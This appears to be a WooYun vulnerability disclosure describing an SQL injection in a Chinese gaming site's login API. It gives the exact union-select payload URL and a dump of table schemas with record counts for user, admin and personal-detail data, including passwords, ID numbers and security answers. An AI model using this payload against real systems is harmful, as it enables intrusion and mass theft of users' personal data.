当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0128966

漏洞标题：5e游戏网站SQL注入漏洞导致100W+条用户记录泄漏

相关厂商：5e游戏平台

漏洞作者： 渔村安全实验室

提交时间：2015-07-24 14:24

修复时间：2015-09-07 14:26

公开时间：2015-09-07 14:26

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：20

漏洞状态：未联系到厂商或者厂商积极忽略

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-07-24： 积极联系厂商并且等待厂商认领中，细节不对外公开
2015-09-07： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

5e游戏网站SQL注入漏洞导致100W+条用户记录泄漏

详细说明：

http://login.5ebo.com/api.php?op=game_list_api&gid=9&count=3
gid参数有问题
http://login.5ebo.com/api.php?op=game_list_api&gid=99999.9+union+all+select+1,user(),version(),3,4--+a&count=3

图片1.png


部份敏感的表项信息

uc_members
	count:612774
		uid
		username
		password
		email
		myid
		myidkey
		regip
		regdate
		lastloginip
		lastlogintime
		salt
		secques
		repass
		mark
	v9_admin
	count:9
		userid
		username
		password
		roleid
		encrypt
		lastloginip
		lastlogintime
		email
		realname
		card
		lang
	v9_member
	count:599417
		userid
		phpssouid
		username
		password
		encrypt
		nickname
		regdate
		lastdate
		regip
		lastip
		loginnum
		email
		groupid
		areaid
		amount
		point
		modelid
		message
		islock
		vip
		vipexp
		overduedate
		siteid
		connectid
		from
		mobile
		isbinding
		media
		media_uid
		invite_uid
		is_callback
		idnumber
		adult
		realname
		islogin
		signcount
		signlastdate
		is_salesman
		salesman_point
		salesman_charge
	v9_member_detail
	count:535928
		userid
		username
		birthday
		save_question
		save_answer
		sex
		province
		city
		address
		postcode
		channel
		unit
		source
		save_question_2
		save_answer_2
		save_question_3
		save_answer_3
	v9_sso_members
	count:230299
		uid
		username
		password
		random
		email
		regip
		regdate
		lastip
		lastdate
		appname
		type
		avatar
		ucuserid


图片2.png


管理员账号信息泄漏：

图片3.png


图片4.png


个人用户的注册信息
泄露的内容包括账号名，用户真实名称与身份证ID等敏感信息

图片5.png


泄露的信息还有游戏服务器的配置信息

图片6.png


游戏内用户角色的数据

图片7.png


这个子妈妈再也不用怕我玩游戏了，瞬间顶级金币随便刷啊有木有

漏洞证明：

修复方案：

版权声明：转载请注明来源 渔村安全实验室@乌云

漏洞回应

厂商回应：

未能联系到厂商或者厂商积极拒绝

漏洞Rank：20 (WooYun评价)

漏洞评价：

评论

  1. 2015-07-24 14:31 | 紫霞仙子 ( 普通白帽子 | Rank:2027 漏洞数:98 | 天天向上 ！！！)

    我靠，我给alex说你

  2. 2015-07-24 14:34 | 渔村安全实验室 ( 普通白帽子 | Rank:282 漏洞数:57 | )

    啥，不懂